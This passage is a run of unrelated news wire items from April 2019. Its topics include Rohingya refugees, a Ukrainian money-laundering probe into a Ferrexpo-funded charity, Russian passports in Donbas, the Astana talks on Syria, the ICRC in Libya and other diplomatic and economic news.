right, Grandi said after talking to refugees going through the registration process. All their life, many have been without proper identification, so having this is an incredible step into a more dignified and safe life. "This document gives me the sense that something good will come of it in the future." The Rohingya refugees are fully aware that if they return to Myanmar they need to guarantee that such a return is joined to a recognition of their fundamental rights as human beings, Antonio Vitorino said. It is absolutely necessary to find a solution that guarantees the interests of the refugees to return to Myanmar to rebuild their lives. But pursuing a solution for the Rohingya refugees will be challenging and patience is needed. Grandi later told reporters that efforts to engage with the Myanmar government have been slow. An agreement to allow UNHCR to visit some 1,000 Rohingya villages has led to visits to just 100, although a limited number of quick impact projects have now started. Grandi said he was hoping to visit Myanmar again in May to assess the situation in Rakhine, where the Rohingya fled from. He underlined that the key moves and progress must be made by Myanmar. The Myanmar side must address the issue of Rohingya rights, he said. That includes freedom of movement, access to jobs and services, and a path to citizenship. Naftogaz opens up on potential offer to Gazprom at gas transit talks 23:45, 25.04.19 4477 Ukraine has a "booking" offer to put forward to the Russian counterpart. Ukraine halts transit of Russian crude oil via Druzhba pipeline 10:58, 26.04.19 5663 The crude oil does not comply with quality indicators. Ukraine's National Bank expects IMF mission to arrive in Kyiv in mid-May 11:46, 26.04.19 1020 The IMF's Executive Board will decide on a new disbursement to Ukraine based on the results of the mission's work. EBRD to double investment in Ukraine's economy 13:52, 26.04.19 1295 EBRD has been operating in Ukraine since 1993. The probe into Blooming Land threatens to overshadow Ferrexpo's renaissance since losing $174 million in an insolvent Ukrainian bank controlled by Zhevago in 2015. Ukraine is investigating whether a charitable foundation set up primarily to coordinate London-listed Ferrexpo Plc's philanthropic activities was used to launder money and evade taxes. Officials of Blooming Land Charitable Foundation abused their powers to seek "illicit benefits," damaging state interests, a Ukraine prosecutor said in a court filing in Kyiv in February. Blooming Land may have received payments from businesses, "legalizing the proceeds via converting them into cash under the guise of donations for charity," other court documents allege. The businesses weren't identified, Bloomberg wrote. The investigation is still ongoing, according to a person familiar with the case, who asked not to be identified speaking to the media. Read alsoForbes World's Billionaires 2019 list includes seven Ukrainians Through donations to Blooming Land, Ferrexpo says it supports charitable activities in Ukraine. A unit of the iron-ore miner gave the foundation about $110 million over the past six years to fund causes such as diabetes awareness and care of the elderly. Other funding for Blooming Land comes from Khimreaktiv LLC, an entity connected to Rosava, which is controlled by Ferrexpo's majority shareholder and chief executive officer, Kostyantin Zhevago, according to Ferrexpo's annual report. There is no arrangement between Ferrexpo and Khimreaktiv in terms of their charitable contributions. Ferrexpo said it doesn't control Blooming Land. Nadiia Storcheva, a spokeswoman for Zhevago, said that many other big charity foundations are subject to this kind of investigation. "It's unclear what is the goal of these checks, which have been being conducted since 2016, but they discredit the companies and as a result lead to cuts in total spending on charity of various companies," Storcheva said by phone. The probe into Blooming Land threatens to overshadow Ferrexpo's renaissance since losing $174 million in an insolvent Ukrainian bank controlled by Zhevago in 2015. Ferrexpo's stock has soared over the past three years, partly driven by a surge in prices for its high quality iron-ore pellets that have benefited from mine closures in Brazil. "From a valuation perspective this was already a sunk cost, it doesn't change anything," said Richard Knights, an analyst at Liberum Capital Markets in London. "They will be more concerned about how it looks from a credibility and investability standpoint, particularly after the F&C bank closure in 2015." Ferrexpo shares fell 1.5 percent as of 10:55 a.m. in London on Thursday, paring this year's gain to 38 percent. Ihor Temchenko, the head of Blooming Land, declined to comment. A spokesman for Ferrexpo also declined to comment. A spokesman for the prosecutor's office didn't immediately respond to calls and emails seeking comment. The investigation started 15 months ago, court filings show. Ferrexpo said last month it would delay publishing its full-year results as it investigates "discrepancies" in payments to Blooming Land. It set up an independent review committee in February after its auditors, Deloitte LLP, received bank statements from the foundation containing "irregularities." Ferrexpo finally published its results on Tuesday, announcing a record dividend, even as profit declined. It also provided an update on its probe. The committee "cannot yet conclude as to the ultimate use of the funds by the charity, however, there are indications some could have been misappropriated," Ferrexpo said in its annual report. The company said Blooming Land attributed some of the inconsistencies to cyber-attacks against Ukrainian financial institutions in June 2017. Ferrexpo made donations of $9.5 million to Blooming Land in 2018, before suspending further payments in May. The company said on Tuesday that the interim conclusion of the committee was that the charity is not a related party of Ferrexpo, its executive management or Zhevago. "The board notes that the auditors have been unable to conclude as to whether the chief executive officer does or does not have significant influence or control over Blooming Land," according to the annual report. Meanwhile, Ferrexpo's board formed a "unanimous view" that based on a lack of clear evidence to the contrary and representations by the CEO over many years Zhevago does not have such influence or control over the foundation. Any change in that assessment could potentially lead to legal claims or penalties, or other liabilities, the company said. Zhevago, who owns 50.3 percent of Ferrexpo, is also a member of the Ukrainian parliament. A vigil was held for those who died in the devastating accident or its aftermath. Overnight Friday, April 26, a flower-laying ceremony was held near the memorial mound to the Heroes of Chornobyl at the Memorial complex to Chornobyl Victims in Kyiv. Accident liquidators and those affected by the Chornobyl disaster marched to the memorial mound in a mourning procession and lit symbolic candles. A vigil was also held for those who died in the terrible accident or its aftermath. Read alsoUkraine marks 33rd anniversary of Chornobyl tragedy On Friday, April 26, at 10:00, the Kyiv city authorities also laid flowers to the Heroes of Chornobyl memorial mound and the "Soldiers of Chornobyl" monument. As UNIAN reported earlier, activists organized a memorial event in the abandoned town of Prypiat (Pripyat) to mark the 33rd anniversary of the Chornobyl tragedy. Belgium, France, Germany, Poland, UK, Italy, the Netherlands, and Sweden are calling on Russia not to hinder the full restoration of Ukrainian government's control over the occupied Donbas. Eight European Union Member States have called on Russia not to deal a blow at the Minsk Agreements and to cease militarily supporting Donbas militants, France's Envoy to the UN Francois Delattre told a briefing ahead of the UNSC meeting on Ukraine in New York April 25. "Today I'd like to make the following statement on behalf of five EU member states at the UN Security Council Belgium, France, Germany, Poland, and UK, joined by Italy, the Netherlands, and Sweden as previous EU member states who were part of the UNSC, to show the unwavering position of the European Union on Ukraine," Delattre told journalists, speaking in French. "We, as EU Member States, fully support the independence, sovereignty, and territorial integrity of Ukraine within its internationally recognized borders. The signing by the Russian president of a decree, which in particular gives a right to the people permanently residing in certain areas of Donetsk and Luhansk regions of Ukraine to appeal for Russian citizenship under a simplified procedure, undermines Ukraine's sovereignty," said Delattre. Read alsoTurchynov: Putins decree on Russian passports in Donbas creates pretext for invasion In this regard, he said that the occupied territories in eastern Ukraine, just as the entire territory of Donbas, are an integral part of Ukraine. "Simplifying for Ukrainian citizens living in the region the obtaining of Russian citizenship is contrary to the provisions and spirit of Minsk agreements," said the French envoy. Also, he said that the timing of the decree signing right after the election runoff in Ukraine, which showed Ukraine's firm commitment to democracy and rule of law, demonstrates Russia's intention to destabilize Ukraine and escalate the conflict. "We expect that Russia will refrain from any such actions, which threaten Minsk agreements and hinder full restoration of Ukrainian government control over these areas, which is laid down in the agreements," he noted. Read alsoBy issuing passports in occupied Donbas, Russia seeks to destabilize Ukraine MFA "Russia particularly has to cease its financial and military support to separatists. We call on all parties to fulfill to the full their obligations under the Minsk agreements, starting from a comprehensive, firm, and lasting ceasefire regime and withdrawal of heavy weapons, and to constructively take part in the Normandy format and the Tripartite Contact Group," stressed the envoy. "We insist that the UNSC has to further address the issue because these violations of international law represent a global problem," said the French diplomat. According to Yelchenko, destabilization and fragmentation of Ukraine was a crystal-clear intent behind every move during the last five years. Permanent Representative of Ukraine to the United Nations Volodymyr Yelchenko has called on the international community to impose new targeted sanctions on Russia to make it implement the Minsk peace agreements on Donbas. Read alsoEight EU member states call on Russia not to jeopardize Minsk agreements and to stop supporting militants "Doesn't the Russian leadership realize that its actions totally disrupt the Minsk agreements? Doesn't Russia realize what kind of a ticking time bomb it has planted? Doesn't Russia realize its political responsibility for undermining the process of peaceful settlement in the eastern part of Ukrainian Donbas? I think the Kremlin realizes all this very well but does it on purpose implementation of the said agreements was never the intention of the Russian side," he said at a United Nations Security Council (UNSC) briefing titled: "Letter Ukraine PR (S/2014/136)" on April 25. According to Yelchenko, destabilization and fragmentation of Ukraine was a crystal-clear intent behind every move during the last five years. "But Russia will bear responsibility. That is why reinforcing the international pressure on the Kremlin, including new targeted sanctions against the aggressor state, should be our common task," he said. "This is the way to bring Russia back into the path of implementation of its obligations under the Minsk agreements. This is the way to peaceful settlement in the eastern Donbas," Yelchenko added. As UNIAN reported earlier, Russian President Vladimir Putin on April 24 signed a decree simplifying the procedure to grant Russian citizenship to people living in Russian-occupied Donbas, eastern Ukraine. Since the court did not extend a preventive measure for Ruban, he did not have any travel restrictions in Ukraine and abroad. Former chief of the Ukrainian "Officer Corps" center for the exchange of prisoners of war (POW) Volodymyr Ruban, who is charged with an attempted coup, has left the territory of Ukraine. "Ruban has left Ukraine. The court told him at the recent hearing that the next court hearing would take place on May 7. The court did not elect a preventive measure for him," the Ukrainian online newspaper Ukrayinska Pravda reports with reference to the press service of the Prosecutor General's Office. Read alsoSavchenko returns to parliament, says she remains in politics The journalists asked his lawyer and the State Border Guard Service of Ukraine to comment on the information. Since the court did not extend a preventive measure for Ruban, he did not have any travel restrictions in Ukraine and abroad, Ukrayinska Pravda said. As UNIAN reported earlier, MP Nadiia Savchenko, along with Volodymyr Ruban who was detained on the contact line in Donbas, eastern Ukraine, with an arsenal of weapons on March 8, 2018, is suspected of plotting terrorist attacks at Kyiv's government headquarters and a coup d'etat. According to the investigation, the suspects planned to shell buildings in the center of Kyiv and assassinate the country's top officials, as well as seize the Verkhovna Rada's building. Also, law enforcers documented the fact of smuggling weapons from the occupied territory to Ukraine-controlled territory in November 2017 allegedly planned to be used in terror attacks. On April 16, 2019, the court released Savchenko and Ruban from custody as the term of their arrest expired on that day without being duly extended on time. The Chairmanship invites all sides to jointly continue searching for ways how to fully implement the Minsk agreements. The Slovak OSCE Chairmanship is deeply concerned about the news regarding granting Russian citizenship to Ukrainians in Russia-occupied Donbas, eastern Ukraine. "It was with deep concern that the Slovak OSCE Chairmanship received the news about the decree signed by the President of the Russian Federation, Vladimir Putin, on simplifying the procedure of granting Russian citizenship to Ukrainians residing in certain areas of the Donetsk and Luhansk regions of Ukraine," the OSCE said in a statement on April 25, 2019. Read alsoUkraine at UNSC urges Kremlin to cancel decree on Russian passports in Donbas "The Slovak Chairmanship believes that this unilateral measure could undermine the efforts for a peaceful resolution of the crisis in and around Ukraine, and calls for adherence to the OSCE principles and commitments by all its participating States," it said. In this regard, the Chairmanship invites all sides to refrain from unilateral steps and to jointly continue searching for ways how to fully implement the Minsk agreements. "Additionally, the Chairmanship reiterates its call for a sustainable, full and permanent ceasefire and its firm support for the work of the OSCE Special Monitoring Mission to Ukraine, which plays an essential role in reducing tensions on the ground, and in fostering peace, stability and security," the statement said. As UNIAN reported earlier, Russian President Vladimir Putin on April 24 signed a decree simplifying the procedure to grant Russian citizenship to people living in Russian-occupied Donbas, eastern Ukraine. The prospect of a democratic transfer of power is something the Russian president has trouble getting to grips with in his own country. On the night of Ukraines presidential election last weekend, Vladimir Putin did not pick up his phone to congratulate the winner. Nor has he since. Putin is in waiting mode. Perhaps thats because what Ukraine has achieved a free and fair, genuinely pluralistic election, and the prospect of a democratic transfer of power is something the Russian president has trouble getting to grips with in his own country, The Guardian reports. But surely nothing will have struck Putin more than the words Ukraines new president-elect, Volodymyr Zelensky, uttered on the night of his victory: To all countries of the post-Soviet Union: look at us. Anything is possible! That particular call for change, and for an overhaul of old power structures, even beyond Ukraine, will not have gone down well in the Kremlin. So there was the 41-year-old, Ukrainian Volodymyr, challenging the 66-year-old, Russian Vladimir. Zelensky, a former comedian and TV producer, has no experience whatsoever of public office. Putin, a former KGB operative, will have ruled for an uninterrupted 25 years, as president or prime minister, when he steps down at the end of his current term in 2024 (that is, if he respects the Russian constitution). Putin has no obvious plan for that transition. Ukraines current democratic process, by contrast, is going rather smoothly. Since the demise of the Soviet Union 28 years ago Ukraine has had six presidents, Russia only three. After Zelenskys election, activists in Russia were asking: could Ukraine hold lessons for us? Why cant Russians also experience a wave of out-with-the old, in-with-the-new? When Algerias long-term president, Abdelaziz Bouteflika, was ousted this month, and when Kazakhstans leader, Nursultan Nazarbayev, also stepped down, speculation swirled: Russias regime may seem a solid, homogeneous bloc, and Ukraine may look like a political maverick, but perhaps things arent so clear cut. Read alsoStarting out subtle: Expert predicts Putins tactics in talks with Zelensky If anything, Ukraines vote will have brought yet more proof of how far apart the country has grown from its once-sister republic since communisms collapse. The war in eastern Ukraine, brought on by Russian military aggression in 2014, is of course part of the explanation. But its important too to look at each countrys reading of history. Its hard to minimise the contrasting ways in which Putins Russia and todays Ukraine approach the Soviet past. That common totalitarian legacy, and how its dealt with, is the reason why comparing Ukrainian politics with, say, western brands of populism, is misplaced. In a nutshell: Russia under Putin has turned to a form of Sovietism without communism: a narrative of victimisation by the west, a rehabilitation of Stalins legacy, and a depiction of the USSR as an overall positive chapter within Russias 1,000 years of glory. Meanwhile, post-Soviet Ukraine, especially since the 2014 Maidan revolution, has consolidated an entirely different narrative: turning to Europe and denouncing the mass crimes of the Soviet era, yet all the while recognising the Soviet sacrifices that led to the defeat of Nazism. In a way, Ukraine is the Russia-that-never-was. To see this helps to explain why Putin preferred to unleash war in the Donbass to letting the Maidan revolution thrive, leading to the death of 13,000 people and displacement of 3 million more. And why Ukraines pro-European, democratic choice which Zelenskys election confirms is anathema to Putin. Ukraine never was an empire. Post-Soviet Russia has arguably never ceased to be an empire both in its mindset and in its reality (think of its neocolonial wars in Chechnya and Georgia). "I remember travelling to eastern Ukraine in the mid-1990s and hearing Russian-speaking inhabitants say how relieved they were to live in a country separate from Russia: At least our sons arent sent to the war in the Caucasus. Sure, Ukraine is a complex country with numerous problems. But in this century its citizens have been spared the brainwashing that Russian citizens are subjected to daily, with calls to create a new generation of victors (to quote Putin)," the author of the article wrote. Read alsoUK's May, Zelensky discuss importance of joint efforts to deter Russian aggression In her book The Immortal Regiment, the Paris-based historian Galia Ackerman writes about the mental trap Putin has created. His rewriting of 20th-century history has produced a delirious vision of Russia refighting fascism in Ukraine as if constantly reliving the 1941-45 great patriotic war was the only way to rally his countrymen. After the Ukrainian election, Ackerman said: There is a civilisational rupture between Russia and Ukraine, and it is not really about being anti- or pro-west. It goes much deeper, and points to the lie that Putin has built around the Soviet past a lie which almost all Ukrainians reject. Petro Poroshenko, the outgoing president, did not lose because of ideological reasons: He lost because people were fed up living in poverty. Ukraines fate matters immensely to Europes future, just as it has in the past. Ukraine may seem like an outlier, but it stands at the heart of the continents many challenges. Peace and stability are not guaranteed, nor is European unity in particular on the strategic issue of gas pipelines, where Germanys position is regrettably ambiguous. Read alsoRussia already testing Ukraine's new president media There are, of course, many unknowns attached to Zelensky, a complete outsider whose meteoric rise has been accompanied by almost zero policy proposals. (On the question of the Donbass, he has said he wants to unleash an information war.) But Ukraines democratic set-up is not in doubt, nor its choice of drawing closer to Europe and make no mistake, thats what bothers Putin. This week the Russian analyst Gleb Pavlovsky a former Kremlin insider predicted that the Kremlin would have no gifts for Zelenskiy. Putin sees him as a weak president, and Putin is known to have quoted Stalin, saying, the weak get beaten. That was closely followed by a Kremlin announcement that Russian passports would be distributed in the Donbass a clear warning to Zelenskiy. "When you read the headlines about Ukraine, think about history," the article reads. Verkhovna Rada Chairman Andrei Paruby said that deputies will consider draft resolutions blocking the signing of the language bill on Tuesday, May 14, according to an UNIAN correspondent. Speaking at a parliament meeting on Friday, the speaker noted that four draft resolutions on cancellation of the decision on the adoption of the law on the functioning of the Ukrainian language as the state language have already been registered in the parliament. "The Regulations of the Verkhovna Rada of Ukraine give two days to submit such resolutions... Cancelling these resolutions does not present any difficulties for the Verkhovna Rada. But if we cancel them faster than in two days and the law is signed faster than within two days, this may call into question the legitimacy of the law," said Parubiy. Read alsoPro-Russian faction's deputies block signing of language law in Ukraine According to him, in the case of at least minimal procedural violation, opponents of the law will appeal to the Constitutional Court. "At the next plenary meeting [May 14], we will immediately consider all these resolutions. I will immediately sign the law on language. President Petro Poroshenko will sign the law without delay (and there is a clear agreement on this). But we shouldnt give the slightest chance for the Constitutional Court to cast doubt on the law on the Ukrainian language," said Parubiy. According to the speaker, the deputies at a meeting on May 14 will reject draft resolutions blocking it. By that time, Parubiy says, the Rada Office will have fully prepared the law for signing. "I will immediately sign it and the president will sign it without delay, Parubiy said. As UNIAN reported earlier, on April 25, the Verkhovna Rada adopted the law "On ensuring the functioning of the Ukrainian language as a state language." "We are talking about dual citizenship with those countries that are civilized, complying with the principles of international law," emphasizes the minister. Ukrainian Foreign Minister Pavlo Klimkin declares that there can be no dual citizenship in Ukraine with the Russian Federation as an aggressor state. According to an UNIAN correspondent, the statement came during Klimkin's joint briefing with Minister of Foreign Affairs of Lithuania Linas Linkiavicius in Kyiv on Friday, April 26. According to Klimkin, he received many questions regarding the decision of the Russian Federation to simplify the procedure for granting Russian passports to Ukrainian citizens in the occupied Donbas. Read alsoWith move to issue passports to Donbas residents, Russia creates grounds for military intervention in Ukraine Klimkin "They say to me: Mr. Pavlo, you consistently stand for dual citizenship, but what will happen in this case? And I'd like to emphasize once again by clearly stating that there can be no dual citizenship with the aggressor state," said Klimkin. "After they leave Donbas and leave Crimea, there could be other discussions, but for now we are talking about dual citizenship with other countries, not with Russia," Klimkin stressed. "We are talking about dual citizenship with those countries that are civilized and complying with the principles of international law, rather than being consistent violators of international law," the minister said. At the same time, the minister says he is not going to step back from his "values." Ukrainian Foreign Minister Pavlo Klimkin says that he is ready to discuss possible cooperation with the winner of the presidential election, Volodymyr Zelensky. At the same time, he says he does not intend to step back from his values. The statement came during his joint briefing with Lithuanian Foreign Minister Linas Linkyavichus in Kyiv on Friday, according to an UNIAN correspondent. Read alsoKlimkin: No dual citizenship with aggressor state Russia possible When asked whether he would cooperate with Zelensky or retire, Klimkin replied: "First, it always depends on two things, I think, on mutual desire, and I will talk about this, and second, on common parities and ways, as we see their implementation." "I have my values, my principles and my convictions. If they coincide and there is a mutual desire, we will talk about it. But I am not going to step back from what we have been doing for five years, and I personally believe in what I have been doing," said Klimkin. Responding to a question about a meeting with Zelensky, the minister said: I think this is for the president elect to comment on. He has every opportunity to talk about meetings that are being held, his contacts and agreements. I think he will do it in the near future." No casualties were reported among Ukrainian troops. Russia's hybrid military forces on April 25 mounted nine attacks on Ukrainian army positions in Donbas. Read alsoUkrainian soldier wounded amid 14 enemy attacks in Donbas in past day "No Ukrainian army casualties were reported in the past day. According to intelligence reports, two invaders were wounded," the press center of Ukraine's Joint Forces Operation said in an update on Facebook as of 07:00 Kyiv time on April 26, 2019. During the period under review, Russian occupation forces opened fire from 120mm and 82mm mortars, weapons installed on infantry fighting vehicles, grenade launchers of various types, heavy machine guns, and small arms to attack the Ukrainian positions near the villages of Pisky, Pavlopil, Hnutove, Pyshchevyk, Lebedynske, Talakivka, and Krymske. "Since Friday midnight, Russian-led forces haven't attacked Ukrainian positions yet," the report said. April 26 2019 The University of Glasgow has showcased its vision for a nanotechnology and precision medicine campus in Govan with the hope that work can begin within two years subject to funding. Designs drawn up by Gleeds for the 118.5m vision would see an area of derelict land close to the Clyde Tunnel to feed into a growing innovation quarter around the Queen Elizabeth University Hospital. Conceived as a meeting point for industry and academia the cutting-edge facility would seek to establish the city on the forefront of innovation in both sectors. Principal prof Sir Anton Muscatelli commented: I have no doubt that the innovation agenda and industries like quantum technology, nanofabrication and precision medicine can be to the 21st century Glasgow economy, what shipbuilding was in the past. The move would mark a break from current facilities housed at the universitys Gilmorehill campus in the west end, which is itself undergoing a multi-billion pound regeneration. Plans to better connect both districts are already in train with proposals for a new footbridge connecting Govan to Partick. Head of the Eurasian Development Bank (EDB) Andrey Beliyaninov confirmed on Thursday that the bank was in talks with Hungary on the latter possibly becoming a shareholder KONAKOVO (Russia) (UrduPoint news / Sputnik - 25th April 2019 ) Head of the Eurasian Development Bank (EDB) Andrey Beliyaninov confirmed on Thursday that the bank was in talks with Hungary on the latter possibly becoming a shareholder. Hungarian Finance Minister Mihaly Varga met with Beliyaninov earlier in April in Budapest to discuss potential cooperation. After the talks the Hungarian Finance Ministry said that a partnership with the EDB would enhance investment opportunities for Hungarian companies in water management, transport technology, IT, pharmaceuticals, health care, farming technology and the food industry. "I confirm that we are in talks [with Hungary on its possible joining the shareholders], but there is no certainty yet. I cannot tell you anything about the amount of contribution," Beliyaninov said. He also refused to announce any specific terms. The EDB, founded by Russian President Vladimir Putin and then-Kazakh president Nursultan Nazarbayev in 2006, is an international financial institution designed to promote economic growth in its member states and to strengthen trade and economic cooperation among them. The bank comprises four more members Armenia, Belarus, Kyrgyzstan, and Tajikistan and its cumulative investment portfolio totals $7.7 billion. The scholars, writers and intellectuals of Dhivehi Language Academy, Maldives on Friday visited Pakistan Academy of Letters (PAL) and discussed the proposed Memorandum of Understanding (MoU), aiming to enhance cooperation in making arrangements in the field of translation of literary works and publication of books of each other countries ISLAMABAD, (UrduPoint / Pakistan Point News - 26th Apr, 2019 ) :The scholars, writers and intellectuals of Dhivehi Language Academy, Maldives on Friday visited Pakistan academy of Letters (PAL) and discussed the proposed Memorandum of Understanding (MoU), aiming to enhance cooperation in making arrangements in the field of translation of literary works and publication of books of each other countries. The seven-member delegation included Ashraf Ali, President of Dhivehi Language Academy, Naseema Ahmed, Director General, Shahma Ali, Assistant Director (History), Mohamad Fauzan Ahmed, Assistant Director, Ashraf Abdul Raheem, Writer/Scholar, Ahmed Nadeem, IT consultant and Anas Mohamed. Director General PAL Dr. Rashid Hamid and other senior officials warmly received the delegation on arrival to Pakistan Academy of Letters. Later, PAL arranged a meeting and discussion with the language experts, writers and scholars to discuss proposed MOU of urdu language corpus and get benefited from the comprehensive corpus of Urdu language. The meeting was attended by Director General National Language Promotion Department Iftikhar Arif, Managing Director National Book Foundation Dr. Inamul Haq Javeid, Director General PAL Dr. Rashid Hamid and numbers of writers and scholars. In a meeting, the participants discussed various aspects of proposed agreement between Pakistan Academy of Letters and Dhivehi Language Authority (DLA) Maldives. Speaking on the occasion, Iftikhar Arif said writers and scholars belonged to the same family. He said all the languages were same and anything being written in any language is part of literature. He said that the first grammar of the world was from this part of world and we have rich and tremendous linguistic stock. DLA, Maldives President thanked PAL for arranging a special meeting and warm welcome to discuss various aspects of proposed agreement. Director General PAL Dr. Rashid Hamid said an agreement between DLA and PAL would enhance cooperation in making arrangements in the field of translation of literary works and publication of books of each other countries, making arrangements to organize literary festivals, book exhibitions/book fairs and conference/seminars to promote literature along with culture in both the country, reciprocal visits of writers, intellectuals, poets and scholars to each other country and exchange of their experiences respectively. BUENOS AIRES (UrduPoint News / Sputnik - 27th April, 2019) Bolivia can soon start exporting beef to China, since the two countries have signed a protocol on sanitary requirements for exported beef, the Bolivian Foreign Ministry said Friday. The protocol will be valid for five years after its signing, and then it can be prolonged for another five year period. In 2018, cattle in Bolivia exceeded 10 million head, according to the ministry's data. Beef production in the country amounted to 257,900 tonnes, with potential exports estimated at 18,500 tonnes. Damascus delegation led by Bashar Jaafari is holding a meeting with the delegation of Iran in the Kazakh capital during the Astana-12 talks on Syria, and is going to meet with the Russian delegation later in the day, Jaafari told Sputnik NUR-SULTAN (UrduPoint News / Sputnik - 25th April, 2019) Damascus delegation led by Bashar Jaafari is holding a meeting with the delegation of Iran in the Kazakh capital during the Astana-12 talks on Syria, and is going to meet with the Russian delegation later in the day, Jaafari told Sputnik. "We will meet with Iranians, then with Russians. All topics are important, we will see," Jaafari told Sputnik. The Iranian delegation this time is led by Ali Asghar Khaji, newly-appointed senior assistant for political affairs, who replaced Hossein Jaberi Ansari in this position. Syrian constitutional commission formation and elimination of terrorist threat in the Idlib province, which is controlled by terrorists by 99 percent at the moment, according to the Russian General Staff, are the pressing issues on the agenda of the meeting. The International Committee of the Red Cross (ICRC) seeks to increase its presence in Libya in order to provide more support amid the escalation of conflict in the North African country, ICRC Vice-President Gilles Carbonnier told Sputnik in an interview MOSCOW (UrduPoint News / Sputnik - 26th April, 2019) The International Committee of the Red Cross (ICRC) seeks to increase its presence in Libya in order to provide more support amid the escalation of conflict in the North African country, ICRC Vice-President Gilles Carbonnier told Sputnik in an interview. Carbonnier noted that the ICRC was concerned over the hostilities in the Libyan capital of Tripoli, where tensions escalated in early April. He stressed that fighting in the city, home to around 1 million people, could cause "grave humanitarian consequences," including weapons' "indiscriminate impact affecting civilians." "We have at present just in Tripoli over seventy staff working with the ICRC, and we are also liasing with Libyan Red Crescent. And we stand ready to step up our assistance if needed ... We seek ... to increase and strengthen our presence because we expect that the needs might increase. And we have to be ready to provide assistance. But, of course, we have also to discuss [this] with all the parties to the conflict to ensure that they are ready to respect the strictly humanitarian, impartial, neutral and independent action of the ICRC," Carbonnier said. The ICRC official specified that the organization would firstly remind the conflicting parties to respect the fundamental principles that applied in hostilities, including distinguishing between military and civilian targets and protecting civilians and civilian infrastructure. "The second thing that we do is to assist the health centers and the hospitals. We have provided already a lot of material for war-wounded and weapon-wounded, and we also support hospitals to ensure that they are properly running, even if there are power cuts. Because this is another issue where we have concerns," Carbonnier said. He recalled that the frequent power cuts during last summer's hostilities in Tripoli had hindered the distribution of water and operation of hospitals. The ICRC was now aiming to ensure that locals had access to drinking water, and that power was provided to hospitals even if the event of power cuts. "We have provided food and non-food items to internally displaced people, because you have already a lot of thousands of people who have been displaced because of the violence," Carbonnier said. The official stressed that the organization continued to support civilians. Libya has been split between two administrations since its long-time leader, Muammar Gaddafi, was deposed and killed in 2011. The eastern-backed Libyan National Army, led by Field Marshal Khalifa Haftar, besieged the capital of Tripoli in early April with the aim of freeing it from what Haftar called terrorists. The Tripoli-based UN-backed Government of National Accord promptly launched a counteroffensive. Madagascar will consider ways to increase security cooperation with Russia after the country's delegation returns from the Conference on International Security held in Moscow, Gen. Richard Rakotonirina, the country's defense minister, told Sputnik MOSCOW (UrduPoint News / Sputnik - 25th April, 2019) Madagascar will consider ways to increase security cooperation with Russia after the country's delegation returns from the Conference on International Security held in Moscow , Gen. Richard Rakotonirina, the country's defense minister, told Sputnik. "It's our first time at this security conference, so on our return to Madagascar we will see together with our authorities how we could deepen this relations in terms of security, in the sphere of training of our personnel for example. In 1979 Madagascar has trained a number of its people in Russia in aviation and other spheres," the minister said. Rakotonirina added that there was "a lot of common ground" for the bilateral cooperation. "Firstly it includes development, because poverty is fertile ground for terrorism. How to ensure we have a fruitful cooperation? That would be very interesting for Madagascar in terms of constructing infrastructure, agriculture, farming, but also in terms of security, training, equipment," the minister said. The three-day conference began on Tuesday. UN Special Envoy for Syria Geir Pedersen told Sputnik he could not exclude traveling to Damascus in the near future. NUR-SULTAN (UrduPoint News / Sputnik - 26th April, 2019) UN Special Envoy for Syria Geir Pedersen told Sputnik he could not exclude traveling to Damascus in the near future. "That's also what I need to sort out. First, New York [to brief the Security Council], then a few other meetings, then most probably Damascus, [talks with] SNC, and our friends here [guarantor states]," Pedersen said, when asked if he planned to visit Damascus anytime soon. In May, Pedersen is planning to have consultations with Russia, Turkey and Iran in Geneva to finalize the creation of the Syrian constitutional committee. Pedersen is going to travel to New York to brief the Security Council on April 30, he told reporters earlier in the day. (@ChaudhryMAli88) Russia and Laos held security consultations in the Lao capital of Vientiane on Friday, having discussed information security and the fight against terrorism, among other issues, the Russian Security Council's press service said in a statement MOSCOW (UrduPoint News / Sputnik - 26th April, 2019) Russia and Laos held security consultations in the Lao capital of Vientiane on Friday, having discussed information security and the fight against terrorism, among other issues, the Russian Security Council's press service said in a statement. The Russian delegation was headed by Russian Security Council Secretary Nikolai Patrushev, while the Lao one by Minister of Public Security Vilay Lakhamfong. "The parties focused on cooperation in fighting illegal drug trafficking, ensuring international information security and preventing 'color revolutions,'" the statement stressed. The statement pointed out that the presence of the Islamic State terrorist group (banned in Russia) and spread of radical Islamic ideology were destabilizing the situation in the Asia-Pacific region. During the talks the Russian delegation called on Laos to join the Russian Federal Security Service's international databank on countering international terrorism. Russia and Laos are actively developing economic and defense cooperation both in bilateral formats and within the dialogue between Russia and the Association of Southeast Asian Nations. (@ChaudhryMAli88) Syria's Envoy to the United Nations in New York Bashar Jaafari called sanctions imposed against Syria by the governments of the United States and the European Union "economic terrorism." NUR-SULTAN (UrduPoint News / Sputnik - 26th April, 2019) - Syria 's Envoy to the United Nations in New York Bashar Jaafari called sanctions imposed against Syria by the governments of the United States and the European Union "economic terrorism." "The measures and sanctions that the administrations of the United States and the European Union are carrying out are measures that represent economic terrorism on par with armed terrorism," Jaafari said during a news conference, following Friday's Astana-12 talks on Syria in Nur-Sultan. The 12th round of the Astana talks held in Kazakhstan's capital started on Thursday and concluded earlier on Friday. Attended by the Syrian ceasefire guarantor states, namely Iran, Russia and Turkey, the high-level meeting is geared toward the settlement of the conflict in Syria. (@ChaudhryMAli88) Turkey's plan to set up a safe zone in the north of Syria could be implemented, but the "optimal" variant would be transferring the territory under the control of Damascus, Russian Special Presidential Envoy for Syria Alexander Lavrentyev said on Friday NUR-SULTAN (UrduPoint News / Sputnik - 26th April, 2019) - Turkey 's plan to set up a safe zone in the north of Syria could be implemented, but the "optimal" variant would be transferring the territory under the control of Damascus Russian Special Presidential Envoy for Syria Alexander Lavrentyev said on Friday. "We have been briefed on Turkey's plans and desire to set up a safe zone on Syrian-Iraqi border and deploy Turkish forces there. We think that this zone is possible in principle, but the optimal variant would be transferring this territory under the control of the [Syrian] government," Lavrentyev said at a press conference following the 12th round of the Astana-format reconciliation talks. Lavrentyev added that the stabilization of the northern Syria was discussed at Astana talks and in other formats. "This concerns the areas that are currently under control of the moderate Syrian opposition, this is Afrin area, and the area between Azaz and Jarabulus," Lavrentyev said. April 25, 2019 19-67 VSU Model United Nations Team Wins National Awards The VSU Model United Nations team in New York City. VALDOSTA Valdosta State Universitys Model United Nations team won the Distinguished Delegation Award and five Outstanding Position Paper Awards at the 2019 National Model United Nations Conference in New York City, setting a record for the most awards VSU has won at the conference. Twelve VSU students, in joint delegation with two students from Palacky University in the Czech Republic, represented the Dominican Republic as delegates at the National Model United Nations Conference. More than 5,000 university students from around the world come to New York City each spring to discuss current global issues. The experiential learning program provides students with a better understanding of the inner workings of the United Nations and a forum to hone skills in diplomacy, 